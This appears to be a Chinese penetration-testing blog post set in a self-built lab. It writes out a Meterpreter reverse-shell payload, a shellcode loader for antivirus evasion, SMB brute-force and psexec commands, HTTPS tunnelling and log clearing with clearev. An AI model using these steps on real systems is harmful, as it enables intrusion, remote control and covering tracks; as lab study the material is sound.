一、从防御视角看渗透测试

有一次在做某公司的防御体系评估时,我发现他们的网络流量监控平台对于异常流量的捕捉能力非常强。然而,在深入分析后,我注意到,他们对内网横向移动和恶意载荷的检测存在明显短板,尤其是对 Metasploit 等渗透框架的免杀处理几乎毫无对抗能力。这让我萌生了一个想法:如果攻击者使用 Metasploit 来测试这家公司的防御能力,会是什么结果?

作为一名CTF玩家和渗透测试爱好者,我决定从攻击者视角设计一次完整的测试,既可以验证防御的有效性,也可以帮助我们更好地理解攻击链,以下就是我的实战记录。

---

二、环境搭建:模拟真实目标网络

为了还原真实的渗透场景,我搭建了一个包含多种服务的靶场环境。目标是模拟一个中小型企业的网络架构,包括外网服务、内网主机以及内部数据库。这些服务包括:

  • 外网开放端口:80 (HTTP)、443 (HTTPS)、22 (SSH)
  • 内网开放端口:3306 (MySQL)、445 (SMB)、3389 (RDP)
  • 操作系统:一台 Windows Server 2019、两台 Ubuntu Server、若干 Windows 10 客户端
  • 防御工具:主机安装了常见杀软(Windows Defender)、企业EDR(CrowdStrike)

搭建过程使用了 VirtualBox 和 Docker,以下是我的具体配置步骤:

靶场搭建脚本(以 Ubuntu 为例)

<pre><code class="language-bash">#!/bin/bash

自动化搭建靶场脚本,用于模拟企业网络环境

安装必要的服务

apt update &amp;&amp; apt upgrade -y apt install -y apache2 mysql-server ssh samba openssl

配置服务

echo &quot;Configuring Apache...&quot; echo &#039;&lt;html&gt;&lt;body&gt;&lt;h1&gt;Welcome to the Test Environment&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;&#039; &gt; /var/www/html/index.html systemctl restart apache2

echo &quot;Configuring MySQL...&quot; mysql -uroot -e &quot;CREATE DATABASE testdb;&quot; mysql -uroot -e &quot;CREATE USER &#039;testuser&#039;@&#039;%&#039; IDENTIFIED BY &#039;testpassword&#039;;&quot; mysql -uroot -e &quot;GRANT ALL PRIVILEGES ON testdb.* TO &#039;testuser&#039;@&#039;%&#039;;&quot; systemctl restart mysql

echo &quot;Setting up SMB share...&quot; mkdir /srv/smbshare echo &quot;[smbshare] path = /srv/smbshare read only = no guest ok = yes&quot; &gt;&gt; /etc/samba/smb.conf systemctl restart smbd

echo &quot;Environment setup complete!&quot;</code></pre>

运行上述脚本后,我的靶场环境就搭建好了。接下来就是进入攻击者的角色,使用 Metasploit 渗透它。

---

三、Payload构造的艺术:绕过杀软的内存免杀

一个好的 Payload 是渗透测试的核心,特别是在面对强力杀软时,绕过检测是成功的关键。我选择使用 Metasploit 的 msfvenom 模块来生成一个恶意载荷,同时结合加壳与混淆手段实现免杀。

黑客示意图

生成基础 Payload

我首先生成一个标准的 Windows Meterpreter 反向连接载荷:

<pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=&lt;你的IP&gt; LPORT=4444 -f exe &gt; payload.exe</code></pre>

生成后发现,直接运行这个 payload.exe 会被 Windows Defender 秒杀。于是,我开始优化载荷。

黑客示意图

加壳与混淆技术

为了绕过杀软,我采用了以下两种方法:

  1. 使用加壳工具:像 UPX 压缩工具可以对载荷进行简单加壳。
  2. <pre><code class="language-bash"> upx --best --lzma payload.exe `

  1. 手写混淆代码:自己编写一个加载器,将恶意代码注入到目标进程中。这种方法效果更好,但需要一定的开发能力。以下是一个简单的 Python 加载器示例:
  2. </code></pre>python import ctypes

加载恶意代码到内存

shellcode = b"\xfc\xe8\x82\x00\x00..." ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))

创建线程执行代码

handle = ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None) ctypes.windll.kernel32.WaitForSingleObject(handle, -1) <pre><code> 通过以上方式,我成功生成了一个可以绕过 Windows Defender 的恶意程序。

---

黑客示意图

四、内网漫游:横向移动的实战技巧

进入内网后,一个攻击者的核心目标是尽可能快速地扩大影响力。我在实验中主要使用了以下两种横向移动技术:

利用 SMB 共享

如果目标开启了 SMB 文件共享服务,可以通过 Metasploit 的 smb_login 模块尝试暴力破解: </code></pre>plaintext use auxiliary/scanner/smb/smb_login set RHOSTS 192.168.1.0/24 set USERNAME administrator set PASSWORD password123 run <pre><code> 一旦登录成功,就可以通过 psexec 模块执行恶意代码: </code></pre>plaintext use exploit/windows/smb/psexec set RHOSTS 192.168.1.100 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <你的IP> set LPORT 4444 run <pre><code>

利用 RDP 服务

对于开放 RDP 服务的主机,可以尝试使用凭证暴力破解后直接远程登录。在我的测试中,我发现目标主机的 RDP 端口存在弱密码问题,轻松获取了控制权。

---

五、如何伪装与规避流量监控

在渗透过程中,流量伪装是确保隐蔽性的关键。我使用了以下技巧:

HTTPS 隧道

通过设置 Metasploit 的 multi/handler,让所有通信流量都走 HTTPS: </code></pre>plaintext use exploit/multi/handler set payload windows/meterpreter/reverse_https set LHOST <你的IP> set LPORT 443 run `

流量混淆

使用 Invoke-Obfuscation 工具对 PowerShell 脚本进行混淆,极大降低被检测的概率。

黑客示意图

---

六、个人经验分享:成功渗透的关键点

跨过这么多防线后,我总结了一些实战经验:

  1. 多试探:不要一开始就用最强的恶意载荷,先用轻量级的工具测试防御能力。
  2. 利用漏洞:内网渗透的关键是找到那些没打补丁的服务器。
  3. 清理痕迹:每次操作后用 Metasploit 的 clearev 模块清理日志。

这次实验让我深刻认识到,防御能力不足的企业很容易被攻击者利用。作为安全人员,我们必须从攻击者视角审视自己的防线,把漏洞的利用可能性降到最低。